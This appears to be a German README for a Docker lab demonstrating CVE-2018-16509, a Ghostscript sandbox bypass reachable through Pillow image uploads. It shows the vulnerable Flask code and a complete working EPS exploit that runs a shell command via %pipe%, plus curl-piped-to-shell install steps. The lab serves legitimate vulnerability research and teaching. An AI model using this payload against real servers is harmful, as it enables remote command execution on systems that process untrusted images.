
PoC + Docker-Umgebung für Python PIL/Pillow Remote Shell Command Execution über Ghostscript CVE-2018-16509
Inspiriert von https://github.com/ysrc/PIL-RCE-By-GhostButt (PIL/Pillow RCE via CVE-2017-8291). Diese Docker-Umgebung verwendet die neuere Version von Ghostscript (v9.23) und einen neueren Exploit (CVE-2018-16509).
Ghostscript ist eine Suite von Software, die auf einem Interpreter für Adobe Systems PostScript und Portable Document Format (PDF) Seitenbeschreibungssprachen basiert. Irgendwie ist Ghostscript auf dem Produktionsserver vorhanden (z.B. /usr/local/bin/gs), selbst wenn keine Anwendung es direkt nutzt, weil Ghostscript als Abhängigkeit einer anderen Software (z.B. ImageMagick) installiert ist. Eine Reihe von Schwachstellen wurden in Ghostscript gefunden; eine davon ist CVE-2018-16509 (entdeckt von Tavis Ormandy von Google Project Zero), eine Schwachstelle, die die Ausnutzung der -dSAFER-Umgehung in Ghostscript vor v9.24 ermöglicht, um beliebige Befehle auszuführen, indem ein fehlgeschlagenes Restore (grestore) in PostScript behandelt wird, um LockSafetyParams zu deaktivieren und invalidaccess zu vermeiden. Diese Schwachstelle ist über Bibliotheken wie ImageMagick oder Bildbibliotheken in der Programmiersprache mit einem Ghostscript-Wrapper erreichbar (PIL/Pillow in diesem Beispiel).
Für Tests und Proof of Concept können wir den Exploit in einer Docker-Umgebung ausprobieren.
Installieren Sie Docker/docker-compose auf Ubuntu:
# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python
# Install the latest version docker
curl -s https://get.docker.com/ | sh
# Run docker service
service docker start
# Install docker compose
pip install docker-compose
Die Installationsschritte für Docker und docker-compose für andere Betriebssysteme können leicht abweichen; bitte beachten Sie die Docker-Dokumentation für Details.
# Clone the repository
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git
# Enter the directory of repository
cd PIL-RCE-Ghostscript-CVE-2018-16509
# Compile environment
docker-compose build
# Run environment
docker-compose up -d
Die anfällige Flask-App kann unter http://127.0.0.1:8000 aufgerufen werden. Sie können die Umgebung nach dem Test anhalten.
docker-compose down -v
Sie können rce.jpg (ein speziell präpariertes EPS-Bild, kein echtes JPG) hochladen, um touch /tmp/got_rce auf dem Server auszuführen. Zum Nachweis können Sie docker exec [CONTAINER_ID] ls -alt /tmp ausführen. Um die CONTAINER_ID zu erhalten, überprüfen Sie mit docker container ls. Um die Shell-Ausführung auf andere Befehle zu ändern, können Sie touch /tmp/got_rce direkt in der rce.jpg ändern.
Sie können sich auf die Erklärung der Schwachstelle von Tavis Ormandy in oss-security beziehen.
Sie können den Quellcode des Ghostscript-Wrappers von PIL/Pillow in EPSImagePlugin.py überprüfen.
Dies ist der anfällige Code von app.py:
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files.get('image', None)
if not file:
flash('No image found')
return redirect(request.url)
filename = file.filename
ext = path.splitext(filename)[1]
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
flash('Invalid extension')
return redirect(request.url)
tmp = tempfile.mktemp("test")
img_path = "{}.{}".format(tmp, ext)
file.save(img_path)
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
Der Inhalt der hochgeladenen Datei wird von img = Image.open(img_path) geladen. PIL erkennt automatisch, ob das Bild ein EPS-Bild ist (Beispiel: füge %!PS-Adobe-3.0 EPSF-3.0 am Anfang der Datei hinzu) und ruft _open() in der Klasse EpsImageFile in EPSImagePlugin.py auf. Um raise IOError("cannot determine EPS bounding box") zu vermeiden, muss eine Bounding Box in die Datei eingefügt werden (Beispiel: %%BoundingBox: -0 -0 100 100).
Der Körper des EPS-Bildes wird vom Ghostscript-Binary mit subprocess verarbeitet, wie wir in der Ghostscript-Funktion in EPSImagePlugin.py sehen können.
# Build Ghostscript command
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
]
....
try:
with open(os.devnull, 'w+b') as devnull:
startupinfo = None
if sys.platform.startswith('win'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.check_call(command, stdin=devnull, stdout=devnull,
startupinfo=startupinfo)
Der obige Code wird aufgerufen, wenn load in Image.py aufgerufen wird, daher löst allein das Öffnen des Bildes die Schwachstelle nicht aus. Funktionen wie resize, crop, rotate und save rufen load auf und lösen die Schwachstelle aus.
In Kombination mit dem POC von Tavis Ormandy können wir rce.jpg für die Remote Shell-Befehlsausführung erstellen.
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops